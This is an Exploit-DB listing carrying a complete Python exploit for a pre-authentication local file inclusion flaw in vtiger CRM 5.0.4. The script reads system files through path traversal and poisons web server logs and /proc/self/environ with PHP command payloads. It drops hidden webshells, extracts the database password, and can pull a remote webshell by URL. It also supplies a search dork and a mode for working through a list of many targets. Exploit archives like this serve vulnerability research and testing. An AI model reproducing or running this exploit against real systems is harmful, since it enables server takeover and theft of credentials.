vTiger CRM 5.0.4 - Local File Inclusion

EDB-ID:

16280


Author:

TecR0c

Type:

webapps


Platform:

PHP

Date:

2011-03-05


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

#!/usr/bin/python
# ~INFORMATION:									#
# Exploit Title:	Vtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit  #
# Google Dork:		"The honest Open Source CRM" "vtiger CRM 5.0.4"		#
# Date: 		5/3/2011						#
# CVE:			CVE-2009-3249						#
# Windows link:		http://bit.ly/fiOYCL					#
# Linux link:		http://bit.ly/hluzLf					#
# Tested on:		Windows XP/Linux Ubuntu					#
# PHP.ini Settings:	gpc_magic_quotes = Off					#
# Advisory: http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt	#
# Creds: Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco	#
# "ascii" Ongaro are credited with the discovery of this vulnerability.		#
# Greetz: mr_me, sud0, sinn3r & my other fellow hackers				#
# Note: Loading URL files may require tampering of code ;-)			#

# ~VULNERABLE CODE:
'''
if(isset($_REQUEST['action']) && isset($_REQUEST['module']))
{
        $action = $_REQUEST['action'];
        $current_module_file = 'modules/'.$_REQUEST['module'].'/'.$action.'.php';
        $current_module = $_REQUEST['module'];
}
elseif(isset($_REQUEST['module']))
{
	$current_module = $_REQUEST['module'];
	$current_module_file = 'modules/'.$_REQUEST['module'].'/Charts.php';
}
else {
    exit();
...
...
...
require_once($current_module_file);
'''
# ~EXPLOIT:
import linecache,random,sys,urllib,urllib2,time,re,httplib,socket,base64,os,webbrowser,getpass
from optparse import OptionParser
from urlparse import urlparse,urljoin
from urllib import urlopen

__CONTACT__ ="TecR0c(tecr0c@tecninja.net)"
__DATE__ ="3.3.2011"
__VERSION__ = "1.0"

# Options for running script
usage = "\nExample : %s http://localhost/vtigercrm/ -p 172.167.876.34:8080" % __file__
parser = OptionParser(usage=usage)
parser.add_option("-p","--p", type="string",action="store", dest="proxy",
        help="HTTP Proxy <server>:<port>")
parser.add_option("-f","--f", type="string",action="store", dest="file",
        help="Input list of target URLS")
parser.add_option("-P","--P",type="int",action='store', default="80", dest="port",
        help="Choose Port [Default: %default]")

(options, args) = parser.parse_args()

numlines=0
# Parameter for command execution
vulnWebPage = "graph.php?module="
# Loca File inclusion path
lfi = "../../../../../../../../../"
# OS Linux detection
linuxOS = "etc/passwd"
# OS Windows Detection
windowsOS = "windows/win.ini"
# Windows default non-IIS setup access log file for vtiger
winLogs = "../../../logs/access.log"
# Windows Vtiger Instllation PHP Info file
vtPlatformLog = "../logs/platform.log"
# Linux Log files
lnxLogs =['/var/log/access_log',
        '/var/log/access.log',
        '/var/log/apache2/access_log',
        '/var/log/apache2/access.log',
        '/var/log/apache2/error_log',
        '/var/log/apache2/error.log',
        '/var/log/apache/access_log',
        '/var/log/apache/access.log',
        '/var/log/apache/error_log',
        '/var/log/apache/error.log',
        '/var/log/user.log',
        '/var/log/user.log.1',
        '/apache/logs/access.log',
        '/apache/logs/error.log',
        '/etc/httpd/logs/acces_log',
        '/etc/httpd/logs/acces.log',
        '/etc/httpd/logs/access_log',
        '/etc/httpd/logs/access.log',
        '/etc/httpd/logs/error_log',
        '/etc/httpd/logs/error.log',
        '/usr/local/apache2/logs/access_log',
        '/usr/local/apache2/logs/access.log',
        '/usr/local/apache2/logs/error_log',
        '/usr/local/apache2/logs/error.log',
        '/usr/local/apache/logs/access_log',
        '/usr/local/apache/logs/access.log',
        '/usr/local/apache/logs/error_log',
        '/usr/local/apache/logs/error.log'
	'/logs/access.log',
        '/logs/error.log',
	'/var/log/error_log',
        '/var/log/error.log',
        '/var/log/httpd/access_log',
        '/var/log/httpd/access.log',
        '/var/log/httpd/error_log',
        '/var/log/httpd/error.log',
        '/var/www/logs/access_log',
        '/var/www/logs/access.log',
        '/var/www/logs/error_log',
        '/var/www/logs/error.log']
# User Agents
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
        "Google Chrome 0.2.149.29 (Windows XP)",
        "Opera 9.25 (Windows Vista)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]
agent = random.choice(agents)

def banner(): 
    if os.name == "posix": 
        os.system("clear") 
    else: 
        os.system("cls") 
    header = '''
 ____   _______________.___  _____________________________ 	
 \   \ /   /\__    ___/|   |/  _____/\_   _____/\______   \	
  \   Y   /   |    |   |   /   \  ___ |    __)_  |       _/	
   \     /    |    |   |   \    \_\  \|        \ |    |   \	
    \___/     |____|   |___|\______  /_______  / |____|_  /	
                      __,,,,_                                              
       _ __..-;''`--/'/ /.',-`-. 
   (`/' ` |  \ \ \ / / / / .-'/`,_   Version 5.0.4                              
  /'`\ \   |  \ | \| // // / -.,/_,'-,                                     
 /<7' ;  \ \  | ; ||/ /| | \/    |`-/,/-.,_,/')                            
/  _.-, `,-\,__|  _-| / \ \/|_/  |    '-/.;.''                             
`-`  f/ ;      / __/ \__ `/ |__/ |                                         
     `-'      |  -| =|\_  \  |-' | %s            
           __/   /_..-' `  ),'  // Date %s
          ((__.-'((___..-'' \__.'

'''%(__CONTACT__,__DATE__)
    for i in header: 
        print "\b%s"%i, 
        sys.stdout.flush() 
        time.sleep(0.003) 

# Written to clean up shell output
def cleanUp(response):
	""" Comment or Uncomment if you want to filter the unwanted text returned in logs """
	response = re.sub('<b(.*)',"", response)
	response = re.sub("Fatal error(.*)","", response)
	response = re.sub("Warning(.*)","", response)
	response = re.sub('Notice(.*)',"", response)
	return response

def firstMenu():
	print '''
[+] 1. Test Environment
[+] 2. Straight To Menu'''
        if options.file:
		print "[+] 3. Go To Next URL"
	menuChoice = raw_input("\n>> Enter Your Choice: ")
        if menuChoice == "1":
		systemOS = informationGathering()
        if menuChoice == "2":
                systemOS = raw_input("[+] Which OS? (w)indows Or (l)inux: ")
        if menuChoice == "3":
		websiteList(options.file)
		firstMenu()
	if systemOS == "l":
                linuxMenu()
        if systemOS == "w":
                windowsMenu()
	if systemOS == None:
		firstMenu()

def websiteList(websiteFile):
	global numlines
	numlines+=1
	url = linecache.getline(websiteFile, numlines)
	url = url[:-1]
	if url == '':
		print "[-] No More Entries\n"
		sys.exit()
	print "\n["+str(numlines)+"] Target: "+url
	url=urlparse(url)
	return (url, numlines)

def getProxy():
	""" Lets you setup a proxy using the proxy defined in options.proxy """
        try:
		proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
		socket.setdefaulttimeout(100)
	except(socket.timeout):
                print "\n[-] Proxy Timed Out"
                sys.exit(1)
        return proxy_handler

def lfiRequest(localFile):
        """ Lets you send a GET request to see if LFI is posible either by proxy or direct """
	if options.proxy:
		try:
			fetch_timeout = 20
			proxyfier = urllib2.build_opener(getProxy())
			proxyfier.addheaders = [('User-agent', agent)]
			response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+localFile+"%00",None,fetch_timeout).read()
		except urllib2.HTTPError, error:
			if error.code == '500':
				pass
			if options.file:
				print "[+] Try Next URL"
                                websiteList(options.file)
				firstMenu()
				sys.exit()
			else:
				print "[-] Check Your Webaddress And Directory"
				sys.exit()
                except(urllib2.URLError):
                        print "[-] Could Not Communicate With TARGET\n"
                        print '[-] Stopping Script\n'
                        sys.exit()
	else:
		try:
			response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+localFile+"%00")
			response.add_header('User-agent',agent)
			response = urllib2.urlopen(response).read()
			response = cleanUp(response)
		except urllib2.HTTPError, error:
			if error.code == '500':
				pass
			if options.file:
			        print "[+] Try Next URL"
                                websiteList(options.file)
			        firstMenu()
			        sys.exit()
	                else:
 				print "[-] Did Not Work"
		except(urllib2.URLError):
			print "[-] Could Not Communicate With TARGET"
                        print '[-] Stopping Script\n'
                        sys.exit()

	return response

def getRequest(localFile):
	""" Lets you send a GET request to see if LFI is posible either by proxy or direct """
	if options.proxy:
		try:
			fetch_timeout = 300
			proxyfier = urllib2.build_opener(getProxy())
			proxyfier.addheaders = [('User-agent', agent)]
			response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00",None,fetch_timeout).read()                
		except urllib2.HTTPError, error:
                        errorMessage = str(error.code)
			if errorMessage == '500':
                                print error
				response = error.read()
				pass
			else:
				print "[-] Verify Address Manually:"
				print "[+] "+url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00"
				sys.exit()
	else:
                try:
			response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00")
			response.add_header('User-agent',agent)
			response = urllib2.urlopen(response).read()
		except urllib2.HTTPError, error:
                        errorMessage = str(error.code)
                     	if errorMessage == '500':
                                print error
                                pass
                        else:
                                print "[-] Verify Address Manually:"
                                print "[+] "+url.geturl()+vulnWebPage+lfi+localFile+"%00"
                                sys.exit()
	return response

def socketInject(payloadType):
	""" Lets you inject into the Apache access log by proxy or direct """
        if options.proxy:
		try:
                        proxyIp, proxyPort = options.proxy.split(':')
                        proxyPort = int(proxyPort)
			sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        sock.connect((proxyIp, proxyPort))
                        if payloadType == 'systemPayload':
				sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\r\n")
				sock.send("User-Agent: "+agent+"\r\n")
				sock.send("Host: "+url.geturl()+"\r\n")
				sock.send("Connection: close\r\n\r\n")
			if payloadType == 'includePayload':
				sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\r\n\r\n")
                                sock.send("User-Agent: "+agent+"\r\n")
                                sock.send("Host: "+url.geturl()+"\r\n")
                                sock.send("Connection: close\r\n\r\n")			
			sock.close()
			print "[+] Injected Payload Into Logs"
		except:
        	        print "[-] Could Not Inject Into Logs"
			sys.exit(1)
	else:
		try:
			sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			sock.connect((url.netloc, options.port))
			if payloadType == 'systemPayload':
				sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\r\n")
				sock.send("User-Agent: "+agent+"\r\n")
				sock.send("Host: "+url.scheme+url.netloc+"\r\n")
				sock.send("Connection: close\r\n\r\n")
			if payloadType == 'includePayload':
				sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\r\n")
				sock.send("User-Agent: "+agent+"\r\n")
				sock.send("Host: "+url.scheme+url.netloc+"\r\n")
				sock.send("Connection: close\r\n\r\n")
			sock.close()
			print "[+] Injected Payload Into Logs"
		except:
			print "[-] Could Not Inject Into Logs"
			sys.exit(1)

def postRequestWebShell(shellName,encodedCmd):
	""" WebShell which sends all POST requests to hide commmands being logged in access.log """
	webSiteUrl = url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+"cache/."+shellName+".php"
	if options.proxy:
		try:
			commandToExecute = [
			('cat',encodedCmd)]
			cmdData = urllib.urlencode(commandToExecute)
			proxyfier = urllib2.build_opener(getProxy())
			proxyfier.addheaders = [('User-agent', agent)]
			cmdContent = proxyfier.open(webSiteUrl, cmdData).read()
			cmdContent = cleanUp(cmdContent)
			print cmdContent
		except:
			print "[-] Request To .%s.php Failed" % shellName
	else:
                try:
			values = { 'User-Agent' : agent,
                        'cat': encodedCmd}
			data = urllib.urlencode(values)
			request= urllib2.Request(webSiteUrl, data)
			response = urllib2.urlopen(request)
			response = response.read()
			response = cleanUp(response)
			print response
		except urllib2.HTTPError, error:
                        response = error.read()

def readFromAccessLogs(cmd, logs):
	""" Lets you choose what type of os for the log location and command to run """
        if options.proxy:
                try:
			proxyfier = urllib2.build_opener(getProxy())
			proxyfier.addheaders = [('User-agent', agent)] 
			proxyfier.addheaders.append(("Cookie", "value="+cmd))
			response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+logs+"%00").read()
                except urllib2.HTTPError, error:
			response = error.read()
			sys.exit()
        else:
                try:
			junk = None
			headers = { 'User-Agent' : agent,
			'Cookie': 'value='+cmd}
			response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+logs+"%00",junk,headers)
			response = urllib2.urlopen(response).read()
		except urllib2.HTTPError, error:
                        response = error.read()
        return response

def informationGathering():
	""" Used to gather information if magic_quotes is on, what operating sytem is being used and if error messages are on """ 

        # Use default LICIENSE.txt file in webroot to gather information
	requestContent = lfiRequest("../LICENSE.txt")
	
	# Test for Magic Quotes
	print "[+] INFORMATION GATHERING:"
	print "[+] Checking if LFI Is Posible"
	magicQuotes = re.compile('SugarCRM Public')
	magicQuotes = magicQuotes.search(requestContent)
	if magicQuotes:
		print "[+] magic_quotes_gpc = Off"
	else:
		print "[-] magic_quotes_gpc = On"
		print "[-] Or Your URL Is Incorrect"
		if options.file:
                        websiteList(options.file)
		        firstMenu()
		else:
			sys.exit()
	# OS Detection
	try:
		passwd = getRequest(linuxOS)
		searchFor = re.compile('root:')
		searchLinuxOS = searchFor.search(passwd)
		print "[!] Working Out The Operating System"
		if searchLinuxOS:
			print "[!] OS Detection: Linux"
			systemOS = "l"
		elif not searchLinuxOS:
			winini = getRequest(windowsOS)
			searchFor = re.compile('16-bit')
			searchWindowsOS = searchFor.search(winini)
			if searchWindowsOS:
				print "[!] OS Detection: Windows"
				systemOS= "w"
			else:
				print "[!] No Data Returned, You Will Have To Guess The Operating System"
	       			firstMenu()
				systemOS = None
	except:
		print "[-] Could Not Run OS Detection"
		print "[-] System OS Could Not Be Set Try Option 2"
		systemOS = None
	try:
		# Checking for Error Messages
		print "[+] Checking If Error Messages Are Enabled"
		pathError = re.compile(r"(reference in (.*)on|not found in (.*)graph.php)")
		findPath = pathError.search(requestContent)
		if findPath:
                	print "[-]  Web Root Directory Is: "+findPath.group(1)
		elif findPath == None:
			platformRequest = getRequest(vtPlatformLog)
			pathWinRootFinder = re.compile('REQUSET\["root_directory"\]</td><td class="v">(.*)</td>')
			findWinPathRoot = pathWinRootFinder.search(platformRequest)
			if findWinPathRoot:
				 print "[-]  WWWRoot Directory From Platform.log Is: "+findWinPathRoot.group(1)
		else:
			print "[-]  Did Not Find Any Path Disclosure"
	except:
                print "[-] Could Not Run Error Message Detection"
	return systemOS 

def environInject(shellName):
        """ Lets you get a shell through proc self environ by proxy or without """
	webSiteUrl = url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+"proc/self/environ"+"%00"
	shellString = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName
	if options.proxy:
		try:
			print '[+] Testing If /proc/self/environ Exists'
			proxyfier = urllib2.build_opener(getProxy())
			proxyfier.addheaders = [('User-agent', agent)]
			response = proxyfier.open(webSiteUrl).read()
			patFinder = re.compile('HTTP_USER_AGENT')
			environContent = patFinder.search(response)
			if environContent:
				print '[+] Web Application Vulnerable to proc/self/environ'
				proxyfier = urllib2.build_opener(getProxy())
                                encodedCommand = base64.b64encode(shellString)
                                commandToExecute = [
                                ('cat',encodedCommand)]
				cmdData = urllib.urlencode(commandToExecute)
				proxyfier.addheaders = [('User-agent', "<?php system(base64_decode($_POST[cat]));?>")]
				cmdContent = proxyfier.open(webSiteUrl, cmdData).read()
			else:
				print '[-] Could Not Create Shell'
				sys.exit()
                except: 
                        print "[-] Seems To Not Be Vulnerable To Proc Self Environment"
        		linuxMenu()
			sys.exit()
	else:
                try:
                        shellString = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName
                        encodedCommand = base64.b64encode(shellString)
                        headers = {'User-Agent' : '<?php system(base64_decode($_POST[cat]));?>',
                        'cat' : encodedCommand}
                        cmdContent = urllib2.Request(webSiteUrl,junk,headers)
			cmdContent = urllib2.urlopen(cmdContent).read()
		except urllib2.HTTPError, error:
                        response = error.read()
			print response
	
	while True:
		try:
			command = raw_input(commandLine)
			encodedCmd = base64.b64encode(command)
			postRequestWebShell(shellName,encodedCmd)
		except KeyboardInterrupt:
			encodedCmd = base64.b64encode('rm .'+shellName+'.php')
			postRequestWebShell(shellName,encodedCmd)
			print "[-] CTRL+C Detected!"
			print "[+] Removed .%s.php\n" % shellName
			sys.exit()

def logInject(payloadType):
	""" Lets you choose what type of payload to use such as include or system """
	inject = raw_input("[?] To Inject? Press ENTER, Otherwise Type 'n' : ")
	if inject == 'yes' or inject == 'y' or inject == '':
		socketInject(payloadType)
        else:
		print "[!] Did Not Inject Into Logs"

def proxyCheck():
	if options.proxy:
		try:
			h2 = httplib.HTTPConnection(options.proxy)
			h2.connect()
			print "[+] Using Proxy Server:",options.proxy
		except(socket.timeout):
			print "[-] Proxy Timed Out\n"
			pass
			sys.exit(1)
		except(NameError):
			print "[-] Proxy Not Given\n"
			pass
			sys.exit(1)
		except:
			print "[-] Proxy Failed\n"
			pass
			sys.exit(1)

def shellMessage(shellName):
	print '''
 # Shell: .%s.php 
 ###########################
 # Welcome To Remote Shell #
  # This Is Not Interactive #
 # To Exist Shell Ctrl + C #
     # Hack The Gibson #
 ###########################
	''' % shellName

# Linux Techniques
def linuxMenu():
        print '''
[+] 1. Terminal By Logs
[+] 2. Terminal By Proc Self Environment'''
        if options.file:
                print '[+] 3. Go To Next URL'
        lnxChoice = raw_input(">> Enter Your Choice: ")

        # Log Technique
        if lnxChoice == '1':
                print "[!] Lets Hope You Got Rights To Their Logs!"
                for log in lnxLogs:
                        print "[-] Testing %s" % log
                        logReponse = getRequest(log)
                        command2Find = re.compile('" 200')
                        findCommand = command2Find.search(logReponse)
                        if findCommand:
                                print "[+] Injectable Log File Located @ %s" % log
                                logInject("systemPayload")
                                yourChoice = raw_input('[?] Do You Want To Create A Webshell? Press ENTER, Otherwise Type \'n\': ')
                                logWithLfi = lfi+log
                                if yourChoice == '':
                                        shellName = raw_input('[?] Name Of Your Webshell: ')
                                        print '[+] Creating Webshell'
                                        systemCommand = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName
                                        encodedCmd = base64.b64encode(systemCommand)
                                        readFromAccessLogs(encodedCmd, logWithLfi)
                                        print "[!] Tempting To Create WebShell .%s.php" % shellName
                                        shellMessage(shellName)
                                        while True:
                                                try:
                                                        command = raw_input(commandLine)
                                                        encodedCmd = base64.b64encode(command)
                                                        postRequestWebShell(shellName,encodedCmd)
                                                except KeyboardInterrupt:
                                                        encodedCmd = base64.b64encode('rm .'+shellName+'.php')
                                                        postRequestWebShell(shellName,encodedCmd)
                                                        print "[-] CTRL+C Detected!"
                                                        print "[+] Removed .%s.php\n" % shellName
                                                        sys.exit()
                                else:
                                        cleanUp(response)
                                        logInject("systemPayload")
                                        while True:
                                                try:
                                                        command = raw_input(commandLine)
                                                        encodedCmd = base64.b64encode(command)
                                                        postRequestWebShell(shellName,encodedCmd)
                                                except KeyboardInterrupt:
                                                        encodedCmd = base64.b64encode('rm .'+shellName+'.php')
                                                        postRequestWebShell(shellName,encodedCmd)
                                                        print "[-] CTRL+C detected!"
                                                        print "[+] Removed .%s.php\n" % shellName
                                                        sys.exit()
        # Environ Technique
        if lnxChoice == '2':
		shellName = raw_input('[?] Name Of Your Webshell: ') 
		environInject(shellName)

        if lnxChoice == '3':
                websiteList(options.file)
                firstMenu()
                sys.exit()

def windowsMenu():
		print '''
[+] 1. Remote File Inclusion Browser Shell           
[+] 2. VTiger MySQL Password
[+] 3. PHP WebShell
		'''
        	winChoice = raw_input(">> Enter your choice: ")
        	if winChoice == '1':
            		try:
                		logInject("includePayload")
                		print "[+] Example: http://www.xfocus.net.ru/soft/r57.txt"
                		rfi = raw_input('>>> Enter Your Remote Webshell URL: ')
                		webbrowser.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+winLogs+"%00"+"&cmd="+base64.b64encode(rfi))
                                print "[+] Check Your Web Browser!"
                        except:
                		print "[-] RFI @ %s Did Not Work" % rfi
		if winChoice == "2":
			f = lfiRequest(vtPlatformLog)
			patFinder = re.compile('POST\["db_password"\]</td><td class="v">(.*)</td>') 
			findUser = patFinder.search(f)
			if findUser is None:
				print '[-] Did Not Find MySQL Database Password'
			else:
				print "[!] VTiger Password: "+findUser.group(1)
		if winChoice == "3":
			logInject("systemPayload")
			shellName = raw_input('[?] Name Of Your Webshell: ')
			systemCommand = "echo ^<?php;system(base64_decode($_REQUEST[cat]));?^> > cache/.%s.php" % shellName
			encodedCmd = base64.b64encode(systemCommand)
			readFromAccessLogs(encodedCmd, winLogs)      		
			print "[!] Created WebShell .%s.php" % shellName
			shellMessage(shellName)
			while True:
				try: 
					command = raw_input(commandLine) 
					encodedCmd = base64.b64encode(command)
					postRequestWebShell(shellName,encodedCmd)
				except KeyboardInterrupt:
					encodedCmd = base64.b64encode('del .'+shellName+'.php')
					postRequestWebShell(shellName,encodedCmd)
					print "[-] CTRL+C Detected!"
					print "[+] Removed .%s.php\n" % shellName
					sys.exit()
if "__main__" == __name__:
	banner()
        proxyCheck()
	try:
	        url=urlparse(args[0])
	except:
		if options.file:
			print "[+] Using Website List"
			url,numlines = websiteList(options.file)
		else:
			parser.print_help()
                	print "\n[-] Check Your URL\n"	
			sys.exit(1)
	if not url.scheme:
		print usage+"\n"
		print "[-] Missing HTTP/HTTPS\n"
		sys.exit(1)
	commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)
	if not options.file:
		print "[+] Target: "+url.scheme+"://"+url.netloc+":"+str(options.port)+url.path
	firstMenu()